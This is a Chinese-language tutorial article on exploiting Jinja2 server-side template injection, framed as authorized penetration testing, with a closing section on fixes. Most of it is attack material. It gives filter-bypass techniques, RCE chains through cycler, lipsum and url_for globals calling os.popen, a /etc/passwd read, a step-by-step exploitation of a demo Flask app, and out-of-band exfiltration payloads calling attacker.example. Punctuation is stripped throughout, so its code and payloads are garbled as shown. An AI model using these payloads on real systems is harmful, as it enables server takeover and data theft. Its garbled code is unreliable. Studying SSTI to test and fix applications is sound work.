首页 / 资讯中心 / 文章详情

SSTI服务端模板注入实战:Jinja2漏洞原理、绕过与防御

SSTI服务端模板注入实战:Jinja2漏洞原理、绕过与防御 ★ FEATURED ARTICLE
1. 漏洞本质与攻击面梳理1.1 模板引擎为什么成了攻击目标SSTIServer-Side Template Injection服务端模板注入这个漏洞我第一次真正意识到它的危害是在一次授权渗透测试中遇到一个用Flask写的内部管理系统。那个系统把用户输入直接拼进HTML模板里渲染表面上看只是个普通的输出问题但当我尝试插入一段Jinja2表达式服务器居然把表达式的结果原样返回了。那一刻我才明白模板引擎一旦把用户输入当成模板代码来执行就等于把服务器的代码执行权限拱手让人。要理解SSTI先得理解模板引擎的定位。模板引擎的核心机制是“模板 数据 最终页面”开发者写一个带占位符的模板文件引擎负责把数据填充进去。Jinja2、Freemarker、Velocity、Smarty这些都是干这个的。问题出在“填充”这个动作上如果用户输入被直接放进了模板语法区域比如{{ }}、{% %}引擎就会把它当作可执行的模板逻辑来解析而不是单纯的文本。用一个生活化的类比模板引擎就像一个印刷厂模板是带有空白栏位的合同范本数据是你要填进去的内容。正常情况下你在空白栏位填什么印刷厂就印什么。但如果你在空白栏位里写的不是普通文字而是一段“指令”而印刷厂又没有区分“文字”和“指令”的能力它就会真的按照你的指令去执行。SSTI的核心就是这个区分机制的缺失。1.2 SSTI与XSS、SQL注入的本质差异很多人刚接触SSTI时会把它和XSS混淆觉得“都是把用户输入输出到页面上嘛”。这个理解偏差会直接影响漏洞发现的效果。XSS是把恶意脚本注入到页面里靠浏览器执行攻击对象是“客户端用户”。SSTI则是注入到服务器端的模板引擎里靠服务器执行攻击对象是“服务器本身”。两者的危害等级完全不在一个量级——XSS顶多盗个CookieSSTI直接可能拿到服务器权限。SQL注入是把输入拼进SQL语句SSTI是把输入拼进模板语言两者在思路上是相通的都是“数据与代码混合”导致的注入。但SQL注入的利用链相对固定联合查询、报错、布尔盲注SSTI的利用链则高度依赖具体使用的模板引擎。Jinja2有Jinja2的打法Twig有Twig的打法Freemarker有Freemarker的打法。这也是SSTI对初学者最不友好的地方你必须先搞清楚目标用的是哪个引擎。1.3 哪类系统最容易中招从实战经验来看以下几类系统是SSTI的高发区邮件模板系统管理员可以在后台编辑邮件正文模板模板里通常需要插入用户名、订单号等变量如果变量是通过用户可控数据传入的很容易出问题。站内信/通知系统和邮件模板类似内容经常由用户评论、用户昵称等数据触发。报表生成系统把数据填充进预设报表模板部分系统允许用户自定义模板片段。低代码/表单构建器用户自定义页面布局后端用模板引擎渲染。CMS主题编辑器允许修改模板文件如果输入校验不严等于直接给了攻击者一个代码执行入口。判断一个系统是否可能受SSTI影响有个很实用的方法看它的功能设计里是否存在“用户输入影响页面结构”的场景。只要能找到一处把用户输入直接拼进模板的地方就值得深入测试。2. Jinja2环境下的SSTI基础利用2.1 漏洞环境的敏感点定位检测SSTI有个非常简单的套路找一个输入点提交一个能引起计算行为的payload看返回结果是否随参数变化而变化。最常见的测试payload是{{7*7}}如果返回49说明输入被当作模板表达式执行了。这个测试看起来简单但有几个细节值得注意。第一{{7*7}}中间不能有空格之外的意外字符第二要用*而不是×因为×不是合法的Python运算符号第三不要一上来就试{{config}}这种重量级payload容易被日志记录后暴露意图先用数学表达式把漏洞“确认”下来就好。如果一个站点对{{}}做了过滤可以试试{%print(7*7)%}之类的写法。Jinja2中{% %}是语句块标签print语句在某些配置下能直接输出表达式结果。这是很多新手不知道的点。2.2 拿到执行权限前的侦察思路一旦确认SSTI存在下一步是“摸清底细”。在Jinja2中有两个对象是后续一切利用的基石config和self。config是当前Flask应用的配置对象里面常有SECRET_KEY等敏感信息。输入{{config}}可以直接看到配置文件内容。self是当前模板上下文对象通过它可以回溯到整个渲染环境的完整变量列表。我见过一个DEMO环境直接通过{{config}}就把密钥和数据库连接串全部暴露出来了。这类信息在授权测试中可以直接写进报告作为高风险证据。2.3 基础绕过拼接绕过引号过滤实际系统不会蠢到完全不设防。最常见的基础防护是过滤、、[、]等字符。面对引号过滤有个经典技巧是用request.args属性来传递参数绕开过滤器的字符检查。比如系统过滤了单引号我们可以这样构造{{ request.args.a }}然后在URL参数中传入真正要访问的内容?a().__class__这样模板引擎解析的是request.args.a不会触发过滤而request.args能拿到URL里的参数值相当于“外置”了payload中的敏感字符串。需要注意的是request对象在模板上下文中默认可用的情况并不绝对有些项目会禁用或覆盖request。如果request不可用可以尝试g对象或者构造namespace{{ namespace(x )}}namespace是Jinja2内置的命名空间辅助对象可以在模板内部创建变量。这种情况下即便没有request也能通过namespace中转。3. 高级绕过技巧过滤器、括号与属性访问受限3.1 字符串构造的通用方法论实战中常见的一个硬性过滤是“不能出现任何引号”。没有引号你无法直接表示字符串而没有字符串就没办法调用字符串方法攻击链可能在早期就断了。解决办法是“代码生成字符串”。Python中最天然的两个字符串来源是类对象的__name__属性和函数对象的__doc__属性或者通过类型转换得到字符串。比如{{ .__class__.__name__ }}如果被过滤可以用dict(a1)|join来生成字符串。dict(a1)会创建一个字典|join会把字典的key拼接为一个字符串结果正好是a。这个a可以被继续拼接、切片、反转最终构造出所需的任何字符串。再高级一点可以用request.args的键名来当字符串。比如{{ request.args.d|join }}传入?d__class__request.args.d的值就是__class__配合join过滤器拿到字符串。这个方法的好处是字符串完全存在于URL参数中不会被过滤正则检查到。3.2 属性访问绕过的常用姿势Jinja2中访问属性一般用点号.或中括号[]。如果两者都被过滤还有几个可用的替代方案attr过滤器foo|attr(__class__)等价于foo.__class__这个过滤器在构造链中非常常用。getattr函数getattr(x, 属性名)但前提是你已经能访问到内置函数。dict的key访问构造字典后用|attr(get)取出value。我见过一个案例系统把__双下划线全部过滤了导致所有dunder属性的访问直接失效。此时的绕过思路是先构造出__字符串本身再用attr过滤器拼凑属性名。比如{{ x|attr(_ _class_ _) }}如果单引号也被过滤就用前面提到的request.args方案把__class__放到URL参数里。3.3 基于Jinja2过滤器的RCE链路构造要从SSTI走到RCE链路一般是这样的获取__class__找到当前对象的类。通过__mro__或__base__找到object基类。通过基类的__subclasses__()拿到所有类的列表。在列表中遍历找到os相关的类比如os._wrap_close、subprocess.Popen。调用该类的方法执行系统命令。这是一条标准链网上有很多现成的payload。但需要注意的是不同Python版本、不同依赖库环境下__subclasses__()列表的内容和顺序是不同的。Python 3.7跑通的payload在Python 3.10环境里可能索引完全对不上。解决这类兼容性问题的方法是动态搜索而非硬编码索引。用Jinja2内置的cycler对象它自带一个__init__可以访问到globals来获取os模块{{ cycler.__init__.__globals__.os.popen(whoami).read() }}cycler的__init__.__globals__是一个包含大量内置模块引用的字典其中通常直接包含os。这个方法比__subclasses__索引法稳定得多是我个人推荐的优先方案。如果cycler不可用lipsum函数Jinja2内置的一个假文本生成函数同样可以使用{{ lipsum.__globals__[os].popen(id).read() }}lipsum在Jinja2中默认可见自带的__globals__里能找到一堆内置模块。4. 多引擎下的绕过差异不只是Jinja24.1 Python系其他引擎的注意事项Python世界里除了Jinja2还有Tornado模板、Mako、Django模板等。这些引擎的语法和可用对象差异很大。Mako的语法类似Python本身可以直接在模板中写Python代码。SSTI检测时${7*7}会返回49和Jinja2的{{7*7}}结果一样但利用方式完全不同。Mako模板中可以import os然后执行命令利用门槛比Jinja2低得多。Tornado的模板语法也是{{ }}但默认可用对象只有escape、json_encode等几个小工具没有Jinja2那么丰富的上下文信息。所以Tornado的SSTI利用链路更短但更复杂通常需要配合应用自身的全局对象。Django模板因为主动限制了模板语言的能力Django模板设计为不允许任意Python代码执行本身较难直接RCE常见做法是找配合的数据泄漏链。如果能在Django应用里发现SSTI且能利用到Django的libraries里注册了危险函数才有代码执行的可能。4.2 PHP系引擎与Node.js引擎的对比PHP世界的Freemarker严格说是Java系、Smarty、TwigSSTI利用链也各不相同。Smarty的漏洞利用非常经典如果目标开启了security选项禁用PHP函数可以尝试{php}标签直接执行PHP代码如果{php}被禁还有{$smarty.template_object-smarty-disableSecurity()}之类的老路子。Twig的1.x版本存在_self变量可直接拿到Environment对象进而通过env.getFilters()找到sort过滤器并利用arrow function实现代码执行。Twig 3.x修复了大部分这类路径但依然可能存在依赖于具体版本的绕过方式。Node.js系常用的是Pug原名Jade和EJS。Pug的SSTI可以通过模板编译选项的差异绕过EJS则因为render函数的outputFunctionName参数设计历史上出现过直接RCE的事件。不同引擎的差异最终归结到一点你必须先知道目标是什么引擎。怎么判断用不同引擎的“指纹语法”去试。比如Twig对{{7*7}}返回49而Jinja2会抛异常或返回77Smarty的{7*7}不带美元符号也直接算。多准备几个不同引擎的检测payload能极大提高识别效率。4.3 引擎识别与指纹收集技巧准备一份“指纹payload表”是SSTI测试环节性价比最高的投资。我在授权项目中用的检测序列大致如下序号请求内容预期行为判断方向1{{7*7}}返回49Jinja2、Twig等双大括号引擎2${7*7}返回49Freemarker、Mako需二选一3% 7*7 %返回49ERBRuby4#{7*7}返回49Ruby模板/某些Java引擎5{7*7}返回49Smarty6${7*7}与{{7*7}}均返回分别尝试确认具体引擎需要注意返回值的类型。Jinja2里{{7*7}}会得到7777777字符串乘法Twig则可能计算结果不同。用*、、字符串拼接组合测试能拿到更细粒度的引擎指纹。5. 常见问题与排查技巧实录5.1 为什么测试payload没生效最常见的原因有四个第一输入点根本没进模板渲染流程。开发者在模板里用的是{{变量}}但提前用escape()转义了用户输入或者用户输入只是被当作普通字符串拼接。此时需要先换个路径找到真正能影响模板变量的入口。第二模板引擎对表达式的语法做了严格校验非预期的符号会直接报错。这种报错反而暴露了后端引擎类型可以顺着报错信息继续调整payload。第三WAF或应用层的正则把{{、}}、()等特征符号拦了。此时可以试试URL编码、Unicode编码、换行符分割等方式判断规则是否严格。第四应用使用了自定义过滤器对模板输出做了白名单处理。这种情况比较难办需要逆向分析模板过滤器的实现逻辑。排查时有个技巧先用最不可能被过滤的payload确认基础注入比如一些引擎支持省略大括号的写法或者支持${}混用。确认“注入点能执行”这一点远比一口气怼上RCE payload重要。5.2 过滤器太多时如何构建最小可行payload构建最小payload的原则是“一条链只保留必要环节”。举个例子如果系统把[]和.都过滤了但request可用最小可行链可能是{{ request.application.__globals__.__builtins__.__import__(os).popen(ls).read() }}注意这里的request.application拿到的是Flask应用对象其__globals__包含了__builtins__和__import__。如果把__import__也过滤了可以用request.application.__globals__[__builtins__][eval]来执行字符串形式的表达式。问题在于不同版本、不同应用上下文中request.application不一定存在。备选路径是url_for.__globals__url_for是Flask/Werkzeug的全局函数模板中默认可用。通过url_for.__globals__同样能拿到内置函数集。这些替换路径之间没有绝对的标准答案只有“先验证能拿到什么对象再从已有对象里找利用入口”。我在排查环节最常用的做法是先尝试输出{{ config }}和{{ self }}确认上下文里有什么现成信息可用再尝试输出{{ cycler.__init__.__globals__ }}确认内置函数集是否可达。这两步能帮你快速判断后续利用链的可行性。5.3 盲SSTI与带外数据通道很多真实场景下模板渲染的结果不会直接回显。此时需要“盲注”思路SSTI的盲测主要依靠延时和带外请求OOB。延时方向可以用{{ cycler.__init__.__globals__.os.popen(sleep 5).read() }}如果页面响应时间拉长到5秒以上说明命令确实被执行了。但注意有些环境没有os或者命令输出因为异常被吞掉延时也可能不出现。稳妥的盲检测方法是构造一个计算量极大的表达式比如多层循环用CPU时间差异来判断模板表达式执行。带外请求方向可以在payload中拼一个HTTP请求让目标服务器访问我们可以监控的地址。比如{{ cycler.__init__.__globals__.os.popen(curl http://attacker.example/?x1).read() }}如果沙盒环境没有curl可以用Python的urllib{{ config.__class__.__init__.__globals__.__import__(urllib).request.urlopen(http://attacker.example).read() }}这里有一个容易踩的坑目标服务器可能无法直接访问外网那带外请求就完全失效。这种情况下还有一类“半盲”方案通过改变返回页面的结构特征来判断命令是否执行比如用ping -c 1 10.0.0.1配合网络监听或者利用DNS解析请求来确认执行结果。5.4 高版本Python与沙盒限制下的兜底思路Python版本越高原生RCE链路越容易被限制。3.11以后环境尝试__subclasses__仍可访问但很多托管平台会在模板引擎层加上沙盒防护比如明确封禁config、self、cycler、lipsum这些“危险对象”。这类高度防护环境的利用难度极高但我并不建议直接放弃。优先排查几个方向应用自身有没有注册自定义过滤器、全局变量或模板辅助函数如果某个自定义过滤器内部有把参数传给eval或exec的逻辑那就是新的入口。其次尝试通过文件读取来确认源码结构构造更精准的攻击。文件读取的经典payload是{{ .__class__.__mro__[2].__subclasses__()[40](/etc/passwd).read() }}40这个索引在不同环境会漂移实际测试时需要动态枚举。如果连文件读取都走不通就收集信息写报告。一次完整、规范的漏洞发现即使没有形成RCE链只要证明了“用户输入被模板引擎计算执行”在修复优先级上已经属于高危等级。6. 实战演示一个模拟目标的完整利用过程6.1 环境假设与测试边界我们在授权环境下拿到一个测试目标是一个基于Flask的小型Demo系统功能比较简单——用户提交一个“欢迎语模板名”系统渲染出对应的欢迎页面。关键代码如下from flask import Flask, request, render_template_string app Flask(__name__) app.route(/welcome, methods[GET, POST]) def welcome(): name request.args.get(name, world) template h1Hello %s/h1 pWelcome to our site!/p % name return render_template_string(template)这个系统存在的核心问题就是用户输入name直接被格式化进模板字符串然后交给render_template_string渲染。只要name里含模板语法就会被当模板执行。6.2 确认漏洞与收集信息第一步提交普通参数GET /welcome?nameanything HTTP/1.1返回Hello anything。第二步提交{{7*7}}GET /welcome?name%7B%7B7*7%7D%7D HTTP/1.1返回Hello 49。确定存在Jinja2模板注入。第三步查看上下文信息GET /welcome?name%7B%7Bconfig%7D%7D HTTP/1.1返回的页面中能看到Flask配置对象的序列化输出其中包含SECRET_KEY的哈希值。这一步确认了当前环境对config没有做任何过滤。6.3 构造命令执行链路接着尝试通过cycler获取os模块GET /welcome?name%7B%7Bcycler.__init__.__globals__.os.popen(whoami).read()%7D%7D HTTP/1.1返回Hello flaskuser。命令执行成功。继续读取当前目录文件GET /welcome?name%7B%7Bcycler.__init__.__globals__.os.popen(ls -la).read()%7D%7D HTTP/1.1页面回显了目录列表我们可以看到应用源码文件、依赖配置文件等。最后尝试读取源码把命令换成cat app.py。这里有一个细节如果直接填cat app.py引号和空格可能被URL编码处理实际操作中要么用来连接字符串要么把整段payload放在POST请求的body里。6.4 从命令执行到数据外带的稳妥方案这个环境可以直接回显所以数据外带相对简单。如果遇到不能回显的环境可以采用“命令执行 带外通道”组合先执行curl xx.xx.xx.xx/flag把结果发送给自己监控的服务若curl不可用则执行python3 -c import socket;...这类自定义网络脚本。不过需要强调这类操作在真实渗透测试中必须严格在授权范围内执行。能证明漏洞危害即可不要真的把服务器内的敏感数据全部下载回来。规范的做法是用一条无害命令比如whoami、id、uname -a证明命令执行能力然后截图留档写入报告。6.5 修复建议与防御加固这个模拟目标彻底修复的方式很简单不要用字符串拼接构造模板。正确做法是使用占位符语法让用户输入只作为数据传递不参与模板逻辑解析from flask import Flask, request, render_template_string app Flask(__name__) app.route(/welcome, methods[GET, POST]) def welcome(): name request.args.get(name, world) template h1Hello {{ name }}/h1 pWelcome to our site!/p return render_template_string(template, namename)即使name里含着{{7*7}}最终也只是被当作普通字符串显示因为模板结构是固定的用户输入不会进入模板解析器的指令区域。防御层面还有几点建议一是不要对不可信用户开放模板编辑能力重要性极高二是如果业务确实需要自定义模板应当使用独立沙箱引擎把模板渲染隔离到低权限容器中运行三是在模板渲染层之前做输入白名单校验限制模板语法特征字符四是定期扫描代码仓库中render_template_string和format()这类危险调用的使用点。提示render_template_string本身就意味着模板字符串是动态的风险极高。多数正式项目中应当使用render_template配合独立模板文件且模板文件名不能由用户指定。7. 工具链与效率提升方案7.1 手工测试之外的自动化利器SSTI的自动化检测业内最常用的工具是tplmap它支持大量模板引擎的自动指纹识别和漏洞利用包括Jinja2、Twig、Freemarker、Smarty等。不过我个人的建议是tplmap适合用来做“批量验证”和“初筛”不适合直接丢生产目标上跑。工具自动生成的payload往往噪音很大容易在日志里留下大量攻击特征而且对复杂过滤环境的适配能力有限。除tplmap外Burp Suite搭配自定义扩展插件也是这一块的主流配置。可以在Burp的Intruder里准备一套检测payload列表对所有入参快速遍历一次。这部分先确认哪些参数存在模板计算行为再针对命中参数做手工深挖。7.2 构建自己的payload字典长期做SSTI测试需要在日常项目中积累一套自己的payload字典。我的整理规则是每个payload附带一个用途标签比如“指纹识别”“config泄露”“文件读取”“RCE”。按目标引擎分组每个引擎至少保留3条不同层次的RCE链。定期用本地靶场环境验证payload在当前Python版本、Jinja2版本下是否依然生效。记录失效的payload和失效原因后续看到同类报错能快速定位问题。这套字典的核心价值不在于“收集了多少条payload”而在于“每条payload都能解释清楚它在干什么、依赖什么对象、为什么能绕过现有过滤”。7.3 本地验证环境搭建要点练手SSTI最稳妥的方式是自己搭建靶场。一个简单的Flask靶场from flask import Flask, request, render_template_string app Flask(__name__) app.route(/vuln) def vuln(): user_input request.args.get(q, ) return render_template_string(div%s/div % user_input) if __name__ __main__: app.run(host127.0.0.1, port5000)启动后访问http://127.0.0.1:5000/vuln?q{{7*7}}如果页面显示49说明靶场搭建成功。这个靶场虽然简陋但足够测试大部分基础链路和过滤绕过思路。更进阶的做法是在本地装好Docker拉起不同PHP版本、不同引擎版本的多容器环境用一台服务器模拟线上那种“引擎版本混杂”的场景。这样练出来对多引擎差异的感知会更真实。8. 经验谈SSTI测试的几个真实教训做SSTI时间长了踩过的坑五花八门这里挑几个最有代表性的说。第一个教训是“不要被固定payload框住思路”。早期测试时我习惯用一条近乎万能的__subclasses__索引链以为只要SSTI存在就能一把梭。直到遇到一个Python 3.10 定制依赖的环境那条链彻底失效__subclasses__列表里根本没有预期的类索引。后来才明白依赖版本一变类加载顺序全变索引硬编码的payload天然不可靠。第二个教训是“输出位置决定了漏洞可利用性”。同样一个注入点如果输出进了HTML标签之间可能被浏览器渲染逻辑干扰如果输出进HTML属性里还需要先闭合引号才能打破上下文。SSTI不只是“模板会不会执行”的问题还要分析“执行结果如何影响最终页面结构”。第三个教训是“高危漏洞也可能伪装成普通功能”。我在一个Demo系统里见过一个“友情链接”管理功能管理员可以填一个名称和URL系统把这些内容渲染进首页模板。漏洞点不在URL上而在“名称”这个看起来完全人畜无害的字段上。因为名称字段被拼进了模板的title标签里填入{{config}}就直接把配置信息渲染到页面标题上。可见SSTI测试时不能只关注“看起来会拼代码”的输入点所有进入模板的数据都值得怀疑。第四个教训是“别忽略模板引擎负责人的错误处理逻辑”。有的应用中模板渲染异常会把异常信息和源码片段直接回显在页面上这本身就是严重的信息泄露。当我构造一个故意出错的表达式比如{{ 1/0 }}然后从报错堆栈里看到了引擎内部调用的具体函数和模块路径。这类报错信息对后续构建精确利用链的价值非常大。SSTI的利用链条说长不长、说短不短从{{7*7}}到拿到服务器权限中间可能只差几个对象的层层跳转。但真正决定测试成败的往往不是payload本身多复杂而是你对目标引擎、目标环境、目标业务逻辑的理解有多深。如果你正在学习SSTI我的建议是先花一个下午把Jinja2的模板语法从头到尾读一遍不用死记用本地靶场把config、cycler、lipsum、attr、globals每个对象都输出一遍感受一下这个环境到底给你暴露了什么。等到理解了“模板执行就是代码执行”这一步再去看其他引擎的利用方法一通百通。做安全测试这些年我最大的体会是漏洞利用的“公式”是有限的但业务场景是无限的。每个系统的过滤规则、上下文对象、依赖组合都不一样只有把底层原理吃透才可能在变幻的环境里快速找到那条能走通的路。希望这篇分享能帮你把SSTI这条路走得更顺畅。
阅读完成 · 觉得有帮助?
咨询建站